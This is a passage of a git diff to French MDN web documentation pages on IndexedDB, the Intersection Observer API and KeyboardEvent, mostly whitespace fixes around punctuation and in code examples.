ou page) se ferme. Cependant, cela ne fonctionne pas. Les transactions de la base de données sont créées dans le gestionnaire d'événements unload, mais comme elles sont asynchrones, elles sont interrompues avant qu'elles puissent s'exécuter. @@ -610,7 +610,7 @@ Au-moins, avec l'ajout des notifications d'annulation et {{domxref ("IDBDatabase ## Le tri et les langues -Mozilla a implémenté la capacité d'effectuer un tri des données IndexedDB localisées sur Firefox 43+. Par défaut, IndexedDB n'a pas pris en charge l'internationalisation des chaînes de tri, et était trié comme s'il s'agissait d'un texte anglais. Par exemple, "b", "á", "z", "a" devaient être triés comme suit : +Mozilla a implémenté la capacité d'effectuer un tri des données IndexedDB localisées sur Firefox 43+. Par défaut, IndexedDB n'a pas pris en charge l'internationalisation des chaînes de tri, et était trié comme s'il s'agissait d'un texte anglais. Par exemple, "b", "á", "z", "a" devaient être triés comme suit : - a - b @@ -1312,7 +1312,7 @@ input { Référence : -- [IndexedDB API Reference](/en/IndexedDB) +- [IndexedDB API Reference](/en/IndexedDB) - [Indexed Database API Specification](http://www.w3.org/TR/IndexedDB/) - [Using IndexedDB in chrome](/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome) - [Using JavaScript generators in Firefox](/en-US/docs/Web/API/IndexedDB_API/Using_JavaScript_Generators_in_Firefox) @@ -1321,7 +1321,7 @@ Référence : Tutoriels : - [Databinding UI Elements with IndexedDB](http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/) -- [IndexedDB — The Store in Your Browser](http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx) +- [IndexedDB — The Store in Your Browser](http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx) Bibliothèques : diff --git a/files/fr/web/api/intersection_observer_api/index.md b/files/fr/web/api/intersection_observer_api/index.md index 40fdb41249..79eb4d4872 100644 --- a/files/fr/web/api/intersection_observer_api/index.md +++ b/files/fr/web/api/intersection_observer_api/index.md @@ -46,7 +46,7 @@ Un palier de 1.0 signifie que lorsque 100% de la cible est visible dans l'élém #### Options de l'observateur d'intersection -L'objet `options` qui est passé dans le constructeur {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} permet de contrôler les circonstances selon lesquelles la fonction _callback_ de l'observateur est invoquée. Il possède les champs suivants : +L'objet `options` qui est passé dans le constructeur {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} permet de contrôler les circonstances selon lesquelles la fonction _callback_ de l'observateur est invoquée. Il possède les champs suivants : - `root` - : L'élément qui est utilisé comme zone d'affichage au moment d'évaluer la visibilité de la cible. Il doit être un ancêtre de la cible. S'il n'est pas spécifié ou s'il prend la valeur `null`, sa valeur par défaut est la zone d'affichage (le _viewport_) du navigateur. @@ -71,14 +71,14 @@ var callback = function(entries, observer) { entries.forEach(entry => { // chaque élément de entries correspond à une variation // d'intersection pour un des éléments cible: - // entry.boundingClientRect - // entry.intersectionRatio - // entry.intersectionRect - // entry.isIntersecting - // entry.rootBounds - // entry.target - // entry.time - }); + // entry.boundingClientRect + // entry.intersectionRatio + // entry.intersectionRect + // entry.isIntersecting + // entry.rootBounds + // entry.target + // entry.time + }); }; ``` @@ -102,7 +102,7 @@ Le rectangle utilisé pour délimiter la racine de l'intersection peut être aju Plutôt que de rapporter le moindre changement de variation de la visibilité d'un élément, l'API Intersection Observer utilise des **paliers**. Lors de la création d'un observateur, vous pouvez fournir une ou plusieurs valeurs numériques qui représentent des pourcentages de visibilité de l'élément cible. Dans ce cas, l'API ne rapportent que les changements de visibilité qui franchissent ces paliers. -Par exemple, si vous voulez être informé à chaque fois que la visibilité d'une cible passe au dessus ou en dessous de chaque multiple de 25%, il faudra fournir le tableau \[0, 0.25, 0.5, 0.75, 1] comme liste de paliers lors de la création de l'observateur. Vous pouvez préciser dans quelle direction a changé la visibilité (c'est-à-dire, si l'élément est devenu plus ou moins visible) en lisant la valeur de la propriété {{domxref("IntersectionObserverEntry.isIntersecting", "isIntersecting")}} du {{domxref("IntersectionObserverEntry")}} passé dans la fonction `callback` lors du changement de visibilité. Si `isIntersecting` est `true`, l'élément cible est devenu au moins aussi visible quand le palier a été franchi. Si elle vaut `false`, la cible n'est plus aussi visible que le palier spécifié. +Par exemple, si vous voulez être informé à chaque fois que la visibilité d'une cible passe au dessus ou en dessous de chaque multiple de 25%, il faudra fournir le tableau \[0, 0.25, 0.5, 0.75, 1] comme liste de paliers lors de la création de l'observateur. Vous pouvez préciser dans quelle direction a changé la visibilité (c'est-à-dire, si l'élément est devenu plus ou moins visible) en lisant la valeur de la propriété {{domxref("IntersectionObserverEntry.isIntersecting", "isIntersecting")}} du {{domxref("IntersectionObserverEntry")}} passé dans la fonction `callback` lors du changement de visibilité. Si `isIntersecting` est `true`, l'élément cible est devenu au moins aussi visible quand le palier a été franchi. Si elle vaut `false`, la cible n'est plus aussi visible que le palier spécifié. Pour mieux comprendre comment fonctionnent les paliers, faites défiler la boîte ci-dessous. A l'intérieur, chacune des boîtes colorées affiche son pourcentage de visibilité sur chacun de ses quatre coins, de telle sorte que l'on peut voir ces ratios changer tandis que le conteneur défile. Chaque boîte a un ensemble différent de paliers : diff --git a/files/fr/web/api/intersectionobserverentry/index.md b/files/fr/web/api/intersectionobserverentry/index.md index cb495920d8..3d0bacde86 100644 --- a/files/fr/web/api/intersectionobserverentry/index.md +++ b/files/fr/web/api/intersectionobserverentry/index.md @@ -24,7 +24,7 @@ Les instances de `IntersectionObserverEntry` sont délivrées à une fonction de - {{domxref("IntersectionObserverEntry.intersectionRect")}} {{readonlyinline}} - : Retourne un {{domxref("DOMRectReadOnly")}} représentant la partie visible de l'élément cible. - {{domxref("IntersectionObserverEntry.isIntersecting")}} {{ReadOnlyInline}} - - : Retourne une valeur booléenne valant `true` si l'élément cible s'entrecoupe avec la zone d'intersection de l'élément racine. S'il vaut `true`, alors `IntersectionObserverEntry` décrit une transition vers un état d'intersection ; S'il vaut `false`, alors la transition se fait d'un état d'intersection à un état de non-intersection. + - : Retourne une valeur booléenne valant `true` si l'élément cible s'entrecoupe avec la zone d'intersection de l'élément racine. S'il vaut `true`, alors `IntersectionObserverEntry` décrit une transition vers un état d'intersection ; S'il vaut `false`, alors la transition se fait d'un état d'intersection à un état de non-intersection. - {{domxref("IntersectionObserverEntry.rootBounds")}} {{readonlyinline}} - : Retourne un {{domxref("DOMRectReadOnly")}} pour la zone d'intersection de l'élément racine. - {{domxref("IntersectionObserverEntry.target")}} {{ReadOnlyInline}} diff --git a/files/fr/web/api/issecurecontext/index.md b/files/fr/web/api/issecurecontext/index.md index 91c1fa1ae2..64b9378248 100644 --- a/files/fr/web/api/issecurecontext/index.md +++ b/files/fr/web/api/issecurecontext/index.md @@ -6,7 +6,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/isSecureContext --- {{APIRef()}}{{SeeCompatTable}} -La propriété **`isSecureContext`** de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne un booleen indiquant si le contexte actuel est sécurisé (`true`) ou pas (`false`). +La propriété **`isSecureContext`** de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne un booleen indiquant si le contexte actuel est sécurisé (`true`) ou pas (`false`). ## Syntaxe @@ -14,7 +14,7 @@ La propriété **`isSecureContext`** de l'interface {{domxref("WindowOrWorkerG ### Valeur -Un {{domxref("Boolean")}}. +Un {{domxref("Boolean")}}. ## Spécifications diff --git a/files/fr/web/api/keyboardevent/code/index.md b/files/fr/web/api/keyboardevent/code/index.md index 471e63789c..259ad26cc6 100644 --- a/files/fr/web/api/keyboardevent/code/index.md +++ b/files/fr/web/api/keyboardevent/code/index.md @@ -11,7 +11,7 @@ Si le clavier n'est pas physique, la valeur retournée sera définie par le navi Cette propriété est utile quand vous souhaitez manipuler les clés en fonction de leur position physique sur le clavier et non les caractères associés au clés (par exemple pour les touches de déplacement d'un jeu vidéo). Attention toutefois, on ne pourra pas utiliser la valeur fournie par `KeyboardEvent.code` afin de déterminer le caractère utilisé sur le clavier. -Par exemple, le `code` retourné est `"KeyQ"` pour le caractère "<kbd>q</kbd>" sur un clavier QWERTY, mais le même `code` représente le caractère "<kbd>'</kbd>" sur un clavier Dvorak, et le caractère "<kbd>a</kbd>" sur un clavier AZERTY. Cela rend impossible l'utilisation du `code` pour déterminer le code d'une clé destiné aux utilisateurs s'ils n'utilisent pas une disposition de clavier anticipé. +Par exemple, le `code` retourné est `"KeyQ"` pour le caractère "<kbd>q</kbd>" sur un clavier QWERTY, mais le même `code` représente le caractère "<kbd>'</kbd>" sur un clavier Dvorak, et le caractère "<kbd>a</kbd>" sur un clavier AZERTY. Cela rend impossible l'utilisation du `code` pour déterminer le code d'une clé destiné aux utilisateurs s'ils n'utilisent pas une disposition de clavier anticipé. Pour déterminer quel caractère correspond à un `key event`, utilisez plutôt la propriété {{domxref("KeyboardEvent.key")}}. @@ -64,14 +64,14 @@ Pour essayer ce code, cliquez sur le lien ci-dessous: ### Gérer les événements de clavier dans un jeu -Cet exemple établit un écouteur d'événements pour l'événement {{event("keydown")}} qui gère la saisie au clavier pour un jeu qui utilise la disposition de clavier typique "ZQSD" pour se déplacer en avant, à gauche, en arrière et à droite. Cela utilisera les quatre mêmes touches physiquement, quels que soient les caractères correspondants, par exemple si l'utilisateur utilise un clavier QWERTY. +Cet exemple établit un écouteur d'événements pour l'événement {{event("keydown")}} qui gère la saisie au clavier pour un jeu qui utilise la disposition de clavier typique "ZQSD" pour se déplacer en avant, à gauche, en arrière et à droite. Cela utilisera les quatre mêmes touches physiquement, quels que soient les caractères correspondants, par exemple si l'utilisateur utilise un clavier QWERTY. #### HTML ```html <p>Appuyez sur les touches ZQSD (WASP sur QWERTY) pour bouger et pour vous diriger</p> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" class="world"> - <polygon id="spaceship" points="15,0 0,30 30,30"/> + <polygon id="spaceship" points="15,0 0,30 30,30"/> </svg> <script>refresh();</script> ``` diff --git a/files/fr/web/api/keyboardevent/index.md b/files/fr/web/api/keyboardevent/index.md index 8cf14e1b5f..a05844a077 100644 --- a/files/fr/web/api/keyboardevent/index.md +++ b/files/fr/web/api/keyboardevent/index.md @@ -12,14 +12,14 @@ translation_of: Web/API/KeyboardEvent --- {{APIRef("DOM Events")}} -Les objets **`KeyboardEvent`** décrivent l'interaction d'un utilisateur avec le clavier. Chaque événement décrit une touche ; le type d'événement (`keydown`, `keypress`, ou `keyup`) identifie quel type d'activité a été effectué. +Les objets **`KeyboardEvent`** décrivent l'interaction d'un utilisateur avec le clavier. Chaque événement décrit une touche ; le type d'événement (`keydown`, `keypress`, ou `keyup`) identifie quel type d'activité a été effectué. -> **Note :** `KeyboardEvent` indique exactement ce qui est en train de se passer sur une touche. Lorsque vous devez gérer une saisie de texte, utilisez l'événement `input` HTML5 à la place. Par exemple, si un utilisateur saisit du texte à partir d'un système d'écriture à la main comme une tablette PC, les événements touche peuvent ne pas être déclenchés. +> **Note :** `KeyboardEvent` indique exactement ce qui est en train de se passer sur une touche. Lorsque vous devez gérer une saisie de texte, utilisez l'événement `input` HTML5 à la place. Par exemple, si un utilisateur saisit du texte à partir d'un système d'écriture à la main comme une tablette PC, les événements touche peuvent ne pas être déclenchés. ## Constructeur - {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}} - - : Crée un objet `KeyboardEvent`. + - : Crée un objet `KeyboardEvent`. ## Méthodes @@ -27,7 +27,7 @@ _Cette interface hérite également des méthodes de ses parents, {{domxref("UIE - {{domxref("KeyboardEvent.getModifierState()")}} - - : Retourne un {{jsxref("Boolean")}} indiquant si une touche modifcatrice, telle que + - : Retourne un {{jsxref("Boolean")}} indiquant si une touche modifcatrice, telle que <kbd>Alt</kbd> @@ -43,12 +43,12 @@ _Cette interface hérite également des méthodes de ses parents, {{domxref("UIE <kbd>Meta</kbd> - , était pressée quand l'évènement a été créé. + , était pressée quand l'évènement a été créé. - {{domxref("KeyboardEvent.initKeyEvent()")}}{{deprecated_inline}} - - : Initialise un objet `KeyboardEvent`. Ceci a été implémenté seulement par Gecko (d'autres utilisaient {{domxref ("KeyboardEvent.initKeyboardEvent()")}}) et ne devrait plus être utilisé. La manière moderne standard consiste à utiliser le constructeur {{domxref ("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}. + - : Initialise un objet `KeyboardEvent`. Ceci a été implémenté seulement par Gecko (d'autres utilisaient {{domxref ("KeyboardEvent.initKeyboardEvent()")}}) et ne devrait plus être utilisé. La manière moderne standard consiste à utiliser le constructeur {{domxref ("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}. - {{domxref("KeyboardEvent.initKeyboardEvent()")}}{{deprecated_inline}} - - : Initialise un objet `KeyboardEvent`. Cela n'a jamais été implémenté par Gecko (qui utilisait {{domxref ("KeyboardEvent.initKeyEvent()")}}) et ne devrait plus être utilisé. La manière moderne standard consiste à utiliser le constructeur {{domxref ("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}. + - : Initialise un objet `KeyboardEvent`. Cela n'a jamais été implémenté par Gecko (qui utilisait {{domxref ("KeyboardEvent.initKeyEvent()")}}) et ne devrait plus être utilisé. La manière moderne standard consiste à utiliser le constructeur {{domxref ("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}. ## Propriétés @@ -56,7 +56,7 @@ _Cette interface hérite également des propriétés de ses parents, {{domxref(" - {{domxref("KeyboardEvent.altKey")}} {{Readonlyinline}} - - : Returne un {{jsxref("Boolean")}} qui est `true` si la touche + - : Returne un {{jsxref("Boolean")}} qui est `true` si la touche <kbd>Alt</kbd> @@ -68,27 +68,27 @@ _Cette interface hérite également des propriétés de ses parents, {{domxref(" <kbd>⌥</kbd> - sous OS X) était active quand l'évènement touche a été généré. + sous OS X) était active quand l'évènement touche a été généré. - {{domxref("KeyboardEvent.char")}} {{Non-standard_inline}}{{Deprecated_inline}}{{Readonlyinline}} - : Renvoie une {{domxref("DOMString")}} représentant la valeur de caractère de la touche. Si la touche correspond à un caractère imprimable, cette valeur est une chaîne Unicode non vide contenant ce caractère. Si la touche n'a pas de représentation imprimable, il s'agit d'une chaîne vide. - > **Note :** si la touche est utilisée comme une macro insérant plusieurs caractères, la valeur de cet attribut est la chaîne entière, pas seulement le premier caractère. + > **Note :** si la touche est utilisée comme une macro insérant plusieurs caractères, la valeur de cet attribut est la chaîne entière, pas seulement le premier caractère. - > **Attention :** cela a été supprimé des DOM Level 3 Events. C'est pris en charge uniquement sur IE9 + et Microsoft Edge. + > **Attention :** cela a été supprimé des DOM Level 3 Events. C'est pris en charge uniquement sur IE9 + et Microsoft Edge. - {{domxref("KeyboardEvent.charCode")}} {{Deprecated_inline}}{{Readonlyinline}} - - : Retourne un {{jsxref ("Number")}} représentant le numéro de référence Unicode de la touche ; cet attribut est utilisé uniquement par l'événement `keypress`. Pour les touches dont l'attribut `char` contient plusieurs caractères, il s'agit de la valeur Unicode du premier caractère de cet attribut. Dans Firefox 26, cela retourne des codes pour les caractères imprimables. + - : Retourne un {{jsxref ("Number")}} représentant le numéro de référence Unicode de la touche ; cet attribut est utilisé uniquement par l'événement `keypress`. Pour les touches dont l'attribut `char` contient plusieurs caractères, il s'agit de la valeur Unicode du premier caractère de cet attribut. Dans Firefox 26, cela retourne des codes pour les caractères imprimables. - > **Attention :** cet attribut est obsolète : vous devriez utiliser {{domxref("KeyboardEvent.key")}} à la place, si disponible. + > **Attention :** cet attribut est obsolète : vous devriez utiliser {{domxref("KeyboardEvent.key")}} à la place, si disponible. - {{domxref("KeyboardEvent.code")}} {{Readonlyinline}} - - : Retourne une {{domxref ("DOMString")}} avec la valeur du code de la touche représentée par l'événement. + - : Retourne une {{domxref ("DOMString")}} avec la valeur du code de la touche représentée par l'événement. - {{domxref("KeyboardEvent.ctrlKey")}} {{Readonlyinline}} - - : Retourne un {{jsxref ("Boolean")}} qui est `true` si la touche + - : Retourne un {{jsxref ("Boolean")}} qui est `true` si la touche <kbd>Ctrl</kbd> @@ -98,7 +98,7 @@ _Cette interface hérite également des propriétés de ses parents, {{domxref(" - : Renvoie un {{jsxref ("Boolean")}} qui est `true` si l'événement est déclenché après `compositionstart` et avant `compositionend`. - {{domxref("KeyboardEvent.key")}} {{Readonlyinline}} - : Retourne une {{domxref ("DOMString")}} représentant la valeur de touche de la touche représentée par l'événement. -- {{domxref("KeyboardEvent.keyCode")}} {{deprecated_inline}}{{Readonlyinline}} +- {{domxref("KeyboardEvent.keyCode")}} {{deprecated_inline}}{{Readonlyinline}} - : Retourne un {{jsxref("Number")}} représentant un code numérique dépendant du système et de l'implémentation, identifiant la valeur non modifiée de la touche pressée. @@ -118,15 +118,15 @@ _Cette interface hérite également des propriétés de ses parents, {{domxref(" - : Retourne un {{jsxref ("Number")}} représentant l'emplacement de la touche du clavier ou tout autre dispositif d'entrée. - {{domxref("KeyboardEvent.metaKey")}} {{Readonlyinline}} - - : Retourne un {{jsxref("Boolean")}} qui est `true` si la touche + - : Retourne un {{jsxref("Boolean")}} qui est `true` si la touche <kbd>Meta</kbd> - (sur les claviers Mac, la touche + (sur les claviers Mac, la touche <kbd>⌘ Command</kbd> - ; sur les claviers Windows, la touche Windows ( + ; sur les claviers Windows, la touche Windows ( <kbd>⊞</kbd> @@ -136,33 +136,33 @@ _Cette interface hérite également des propriétés de ses parents, {{domxref(" - : Retourne un {{jsxref("Booléen")}} qui est `true` si la touche est maintenue enfoncée de telle sorte qu'elle se répète automatiquement. - {{domxref("KeyboardEvent.shiftKey")}} {{Readonlyinline}} - - : Retourne un {{jsxref("Boolean")}} qui est `true` si la touche + - : Retourne un {{jsxref("Boolean")}} qui est `true` si la touche <kbd>Shift</kbd> - était active quand l'évènement touche a été généré. + était active quand l'évènement touche a été généré. - {{domxref("KeyboardEvent.which")}} {{deprecated_inline}}{{Readonlyinline}} - - : Retourne un {{jsxref("Number")}} représentant un code numérique dépendant du système et de l'implémentation, identifiant la valeur non modifiée de la touche pressée ; c'est généralement le même que `keyCode`. + - : Retourne un {{jsxref("Number")}} représentant un code numérique dépendant du système et de l'implémentation, identifiant la valeur non modifiée de la touche pressée ; c'est généralement le même que `keyCode`. > **Attention :** cet attribut est obsolète ; vous devriez utiliser {{domxref("KeyboardEvent.key")}} à la place, si disponible. ## Notes -Les événements existants sont `keydown`, `keypress` et `keyup`. Pour la plupart des touches, Gecko génère une suite d'événements touche comme suit : +Les événements existants sont `keydown`, `keypress` et `keyup`. Pour la plupart des touches, Gecko génère une suite d'événements touche comme suit : -1. lorsque la touche est d'abord enfoncée, l'événement `keydown` est envoyé ; +1. lorsque la touche est d'abord enfoncée, l'événement `keydown` est envoyé ; 2. si la touche n'est pas une touche de modification, l'événement `keypress` est envoyé ; 3. lorsque l'utilisateur relâche la touche, l'événement `keyup` est envoyé. -### Cas particuliers +### Cas particuliers -Certaines touches inversent l'état d'un voyant lumineux ; celles-ci comprennent des touches telles que Caps Lock, Num Lock et Scroll Lock. Sous Windows et Linux, ces touches génèrent uniquement les événements `keydown` et `keyup`. +Certaines touches inversent l'état d'un voyant lumineux ; celles-ci comprennent des touches telles que Caps Lock, Num Lock et Scroll Lock. Sous Windows et Linux, ces touches génèrent uniquement les événements `keydown` et `keyup`. > **Note :** Sous Linux, Firefox 12 et les versions antérieures ont également envoyé l'événement `keypress` pour ces touches. -Cependant, une limitation du modèle d'événement Mac OS X fait que Caps Lock ne génère que l'événement `keydown`. Num Lock était supporté sur certains modèles d'ordinateurs portables plus anciens (modèles 2007 et plus anciens), mais depuis lors, Mac OS X n'a pas supporté Num Lock même sur les claviers externes. Sur les MacBooks plus anciens avec une touche Num Lock, cette touche ne génère aucun événement touche. Gecko supporte la touche Scroll Lock si un clavier externe ayant une touche F14 est connecté. Dans certaines anciennes versions de Firefox, cette touche générait un événement `keypress` ; ce comportement incohérent était le {{bug(602812)}}. +Cependant, une limitation du modèle d'événement Mac OS X fait que Caps Lock ne génère que l'événement `keydown`. Num Lock était supporté sur certains modèles d'ordinateurs portables plus anciens (modèles 2007 et plus anciens), mais depuis lors, Mac OS X n'a pas supporté Num Lock même sur les claviers externes. Sur les MacBooks plus anciens avec une touche Num Lock, cette touche ne génère aucun événement touche. Gecko supporte la touche Scroll Lock si un clavier externe ayant une touche F14 est connecté. Dans certaines anciennes versions de Firefox, cette touche générait un événement `keypress` ; ce comportement incohérent était le {{bug(602812)}}. ### Gestion de l'auto-répétition @@ -192,7 +192,7 @@ Dans certains environnements basés sur GTK, l'auto-répétition génère automa 7. << répétition jusqu'à ce que l'utilisateur relâche la touche >> 8. `keyup` -Dans ces environnements, malheureusement, il n'y a aucun moyen pour que le contenu Web puisse faire la différence entre les touches répétées automatiquement et les touches qui sont simplement pressées à plusieurs reprises. +Dans ces environnements, malheureusement, il n'y a aucun moyen pour que le contenu Web puisse faire la différence entre les touches répétées automatiquement et les touches qui sont simplement pressées à plusieurs reprises. #### Gestion de l'auto-répétition avant Gecko 5.0 @@ -224,23 +224,23 @@ document.addEventListener('keydown', (event) => { return; } - if (event.ctrlKey) { - // Même si event.key n'est pas 'Control' (par ex., 'a' is pressed), - // event.ctrlKey peut être true si la touche Ctrl est pressée dans le même temps. - alert(`Combinaison de ctrlKey + ${nomTouche}`); - } else { - alert(`Touche pressée ${nomTouche}`); - } + if (event.ctrlKey) { + // Même si event.key n'est pas 'Control' (par ex., 'a' is pressed), + // event.ctrlKey peut être true si la touche Ctrl est pressée dans le même temps. + alert(`Combinaison de ctrlKey + ${nomTouche}`); + } else { + alert(`Touche pressée ${nomTouche}`); + } }, false); document.addEventListener('keyup', (event) => { - const nomTouche = event.key; + const nomTouche = event.key; - // Dès que l'utilisateur relâche la touche Ctrl, la touche n'est plus active. - // Aussi event.ctrlKey est false. - if (nomTouche === 'Control') { - alert('La touche Control a été relâchée'); - } + // Dès que l'utilisateur relâche la touche Ctrl, la touche n'est plus active. + // Aussi event.ctrlKey est false. + if (nomTouche === 'Control') { + alert('La touche Control a été relâchée'); + } }, false); </script> @@ -255,9 +255,9 @@ document.addEventListener('keyup', (event) => { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | ---------------------------- | ----------- | -| {{SpecName('UI Events', '#interface-keyboardevent', 'KeyboardEvent')}} | {{Spec2('UI Events')}} | | +| {{SpecName('UI Events', '#interface-keyboardevent', 'KeyboardEvent')}} | {{Spec2('UI Events')}} | | -La spécification d'interface `KeyboardEvent` est passée par de nombreuses versions préliminaires, d'abord sous DOM Events Level 2 où elle a été supprimée du fait qu'aucun consensus n'avait émergé, puis sous DOM Events Level 3. Cela conduit à l'implémentation de méthodes d'initialisation non standard, la version ancienne DOM Events Level 2, {{domxref("KeyboardEvent.initKeyEvent()")}} par les navigateurs Gecko et la version prémiminaire DOM Events Level 3, {{domxref("KeyboardEvent.initKeyboardEvent()")}} par d'autres navigateurs. Tous deux ont été remplacés par l'utilisation moderne d'un constructeur : {{domxref ("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}. +La spécification d'interface `KeyboardEvent` est passée par de nombreuses versions préliminaires, d'abord sous DOM Events Level 2 où elle a été supprimée du fait qu'aucun consensus n'avait émergé, puis sous DOM Events Level 3. Cela conduit à l'implémentation de méthodes d'initialisation non standard, la version ancienne DOM Events Level 2, {{domxref("KeyboardEvent.initKeyEvent()")}} par les navigateurs Gecko et la version prémiminaire DOM Events Level 3, {{domxref("KeyboardEvent.initKeyboardEvent()")}} par d'autres navigateurs. Tous deux ont été remplacés par l'utilisation moderne d'un constructeur : {{domxref ("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}. ## Compatibilité des navigateurs diff --git a/files/fr/web/api/keyboardevent/key/key_values/index.md b/files/fr/web/api/keyboardevent/key/key_values/index.md index 2fb66f3c41..3d831fb852 100644 --- a/files/fr/web/api/keyboardevent/key/key_values/index.md +++ b/files/fr/web/api/keyboardevent/key/key_values/index.md @@ -385,7 +385,7 @@ Modifiers are special keys which are used to generate special characters or caus </tbody> </table> -\[1] Older browsers may return "Spacebar" instead of " " for the <kbd>Space Bar</kbd> key. Firefox did so until version 37, as did Internet Explorer 9, 10, and 11. +\[1] Older browsers may return "Spacebar" instead of " " for the <kbd>Space Bar</kbd> key. Firefox did so until version 37, as did Internet Explorer 9, 10, and 11. ## Navigation keys @@ -616,7 +616,7 @@ Modifiers are special keys which are used to generate special characters or caus <tr> <td><code>"Insert"</code></td> <td> - The Insert key, <kbd>Ins</kbd>. Toggles between inserting and + The Insert key, <kbd>Ins</kbd>. Toggles between inserting and overwriting text. </td> <td><code>VK_INSERT</code> (0x2D)</td> @@ -1191,7 +1191,7 @@ Some keys are common across multiple languages, while others exist only on keybo identify which specific dead key was pressed (in cases where more than one exists), you can do so by examining the {{domxref("KeyboardEvent")}}'s associated - {{event("compositionupdate")}} event's + {{event("compositionupdate")}} event's {{domxref("CompositionEvent.data", "data")}} property. </td> <td></td> @@ -1301,7 +1301,7 @@ Some keys are common across multiple languages, while others exist only on keybo <code>GDK_KEY_Muhenkan</code> (0xFF22)<br /><code >Qt::Key_Muhenkan</code > - (0x01001122)<br /> + (0x01001122)<br /> </td> <td><code>KEYCODE_MUHENKAN</code> (213)</td> </tr> @@ -1598,11 +1598,11 @@ These keys are only available on Japanese keyboards. ### Dead keycodes for Linux -Linux generates accented characters using special **dead keys**; these are keys which are pressed in combination with character keys to generate accented forms of those characters. You can identify which specific dead key was used (if more than one exists) by examining the {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's {{domxref("CompositionEvent.data", "data")}} property. +Linux generates accented characters using special **dead keys**; these are keys which are pressed in combination with character keys to generate accented forms of those characters. You can identify which specific dead key was used (if more than one exists) by examining the {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's {{domxref("CompositionEvent.data", "data")}} property. You can find a table of the dead keys and the characters they can be used with to generate accented or otherwise special characters on Linux using GTK -The value of {{domxref("CompositionEvent.data", "data")}} will be one of the following: +The value of {{domxref("CompositionEvent.data", "data")}} will be one of the following: <table class="standard-table"> <tbody> @@ -1655,7 +1655,7 @@ The value of {{domxref("CompositionEvent.data", "data")}} will be one of the fo </tr> <tr> <td><code>GDK_KEY_dead_perispomeni</code> (0xFE53)</td> - <td> ͂</td> + <td> ͂</td> <td></td> </tr> <tr> @@ -1755,7 +1755,7 @@ The value of {{domxref("CompositionEvent.data", "data")}} will be one of the fo > (0x0100125D) </td> - <td> ͅ</td> + <td> ͅ</td> <td>Iota subscript.</td> </tr> <tr> @@ -1795,7 +1795,7 @@ The value of {{domxref("CompositionEvent.data", "data")}} will be one of the fo > (0x01001261) </td> - <td> ̡</td> + <td> ̡</td> <td></td> </tr> <tr> @@ -1805,22 +1805,22 @@ The value of {{domxref("CompositionEvent.data", "data")}} will be one of the fo > (0x01001262) </td> - <td> ̛</td> + <td> ̛</td> <td></td> </tr> <tr> <td><code>GDK_KEY_dead_stroke</code> (0xFE63)</td> - <td> ̶̶</td> + <td> ̶̶</td> <td></td> </tr> <tr> <td><code>GDK_KEY_dead_abovecomma</code> (0xFE64)</td> - <td> ̓̓</td> + <td> ̓̓</td> <td></td> </tr> <tr> <td><code>GDK_KEY_dead_psili</code> (0xFE64)</td> - <td> ᾿</td> + <td> ᾿</td> <td></td> </tr> <tr> @@ -1835,7 +1835,7 @@ The value of {{domxref("CompositionEvent.data", "data")}} will be one of the fo </tr> <tr> <td><code>GDK_KEY_dead_doublegrave</code> (0xFE66)</td> - <td> ̏</td> + <td> ̏</td> <td></td> </tr> <tr> @@ -1845,7 +1845,7 @@ The value of {{domxref("CompositionEvent.data", "data")}} will be one of the fo </tr> <tr> <td><code>GDK_KEY_dead_belowmacron</code> (0xFE68)</td> - <td> ̱</td> + <td> ̱</td> <td></td> </tr> <tr> @@ -1865,7 +1865,7 @@ The value of {{domxref("CompositionEvent.data", "data")}} will be one of the fo </tr> <tr> <td><code>GDK_KEY_dead_belowdiaeresis</code> (0xFE6C)</td> - <td> ̤</td> + <td> ̤</td> <td></td> </tr> <tr> @@ -2524,7 +2524,7 @@ The multimedia keys are extra buttons or keys for controlling media devices, fou </thead> </table> -\[1] Internet Explorer, Edge, and Firefox (36 and earlier) use `"MediaNextTrack"` and `"MediaPreviousTrack"` instead of `"MediaTrackNext"` and `"MediaTrackPrevious"`. +\[1] Internet Explorer, Edge, and Firefox (36 and earlier) use `"MediaNextTrack"` and `"MediaPreviousTrack"` instead of `"MediaTrackNext"` and `"MediaTrackPrevious"`. \[2] Prior to Firefox 37, Firefox generated the key code `"FastFwd"` on some platforms and `"Unidentified"` on others instead of `"MediaFastForward"`. @@ -2736,7 +2736,7 @@ These media keys are used specifically for controlling audio. </thead> </table> -\[1] Internet Explorer, Edge, and Firefox (48 and earlier) use `"VolumeUp"`, `"VolumeDown"`, and `"VolumeMute"` instead of `"AudioVolumeUp"`, `"AudioVolumeDown"`, and `"AudioVolumeMute"`. In Firefox 49 they were updated to match the latest specification. The old names are still used on [Boot to Gecko](/en-US/docs/Mozilla/B2G_OS). +\[1] Internet Explorer, Edge, and Firefox (48 and earlier) use `"VolumeUp"`, `"VolumeDown"`, and `"VolumeMute"` instead of `"AudioVolumeUp"`, `"AudioVolumeDown"`, and `"AudioVolumeMute"`. In Firefox 49 they were updated to match the latest specification. The old names are still used on [Boot to Gecko](/en-US/docs/Mozilla/B2G_OS). ## TV control keys @@ -4333,7 +4333,7 @@ Some keyboards offer special keys for launching or switching to certain common a </thead> </table> -\[1] Internet Explorer, Edge, and Firefox (36 and earlier) use `"SelectMedia"` instead of `"LaunchMediaPlayer"`. Firefox 37 through Firefox 48 use `"MediaSelect"`. Firefox 49 has been updated to match the latest specification, and to return `"LaunchMediaPlayer"`. +\[1] Internet Explorer, Edge, and Firefox (36 and earlier) use `"SelectMedia"` instead of 